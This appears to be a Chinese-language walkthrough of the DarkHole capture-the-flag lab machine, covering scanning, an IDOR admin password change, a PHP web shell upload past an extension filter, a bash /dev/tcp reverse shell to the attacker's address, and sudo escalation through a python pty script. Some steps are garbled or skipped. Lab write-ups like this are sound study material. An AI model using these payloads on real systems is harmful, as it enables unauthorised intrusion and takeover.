DarkHole
DockerHole
kali:192.168.174.137
给靶机生成个物理地址00:50:56:23:4C:10
信息收集
主机发现
arp-scan -l 发现主机
获得主机ip:192.168.174.149
端口扫描
nmap -sS -sV -T4 -n -p- 192.168.174.149
参数解释:
- -sS: 使用 SYN 扫描
- -sV: 探测开放端口上的服务版本信息。这个选项会尝试确定目标端口上运行的具体服务版本,从而可能暴露更多的关于目标系统的信息。
- -T4: 设置扫描的时间模板为 4。
nmap
提供了不同的时间模板,从 0(最慢,最不容易被检测)到 5(最快,但最容易被防火墙或入侵检测系统检测到)。 - -n: 不进行 DNS 解析。这可以加快扫描速度
- -p-: 扫描所有端口。
可以看到开放了两个端口
22-ssh Openssh
80-http apache 2.4.41
目录扫描
访问的同时,在后台进行目录扫描
可以获得http://192.168.174.149/upload/推测可能有文件上传漏洞,燃火右上角有一个登陆界面,可能存在弱口令,sql注入等。
登陆界面
简单尝试admin:admind登陆看下返回信息有没有提示,发现没有,去注册一个试试
发现admin用户已经被注册了,后台开一个bp先爆破着,自己注册一个账号登陆上去看看有什么信息
可以看到,注册完有自己的信息和修改密码的功能且网址中还有个id=2,推测id=1为admin用户的界面,修改试下能不能访问
试试抓包能不能直接修改admin的密码
改成1后试试用admin登陆,可以看到登陆成功
文件上传
登陆上管理员界面后发现多了个文件上传的地方,结合前面的目录,可能 存在文件上传漏洞,先试试上传自己写的一句话木马
eval($_POST['CMD']); @ |
可以发现只允许上传jpg,png,gif这样的图片,试试绕过方法
先试试修改类型
上传一张正常的图片试试
发现文件路径,访问一下也确实能出现图片
修改下后缀试试,pphphp绕过了
但文件并没有以php的形式保留下来,作了个图片马,也不行,试试别的方法,phtml和pchar可以
下面就是寻找flag的提取过程了
提权
在获取到shell的基础上,我么需要反弹shell
kali:nv -lvvp6666
shell: bash -c ‘bash -i >& /dev/tcp/192.168.174.137/6666 0>&1’
sudo root提权
cat /etc/passwd 发现了john用户 在家目录下面发现了一个toto文件执行发现和id一样的功能
cd tmp |
然后现在我们再次执行就可以查看账号和密码文件了 直接使用SSH
进行连接:john/root123
echo 'import pty;pty.spawn("/bin/bash")' > file.py |
直接执行好像是不能提权的
但他对file.py这个文件是有执行权限的,所以从这一点出发,所以才要把语句写到文件里。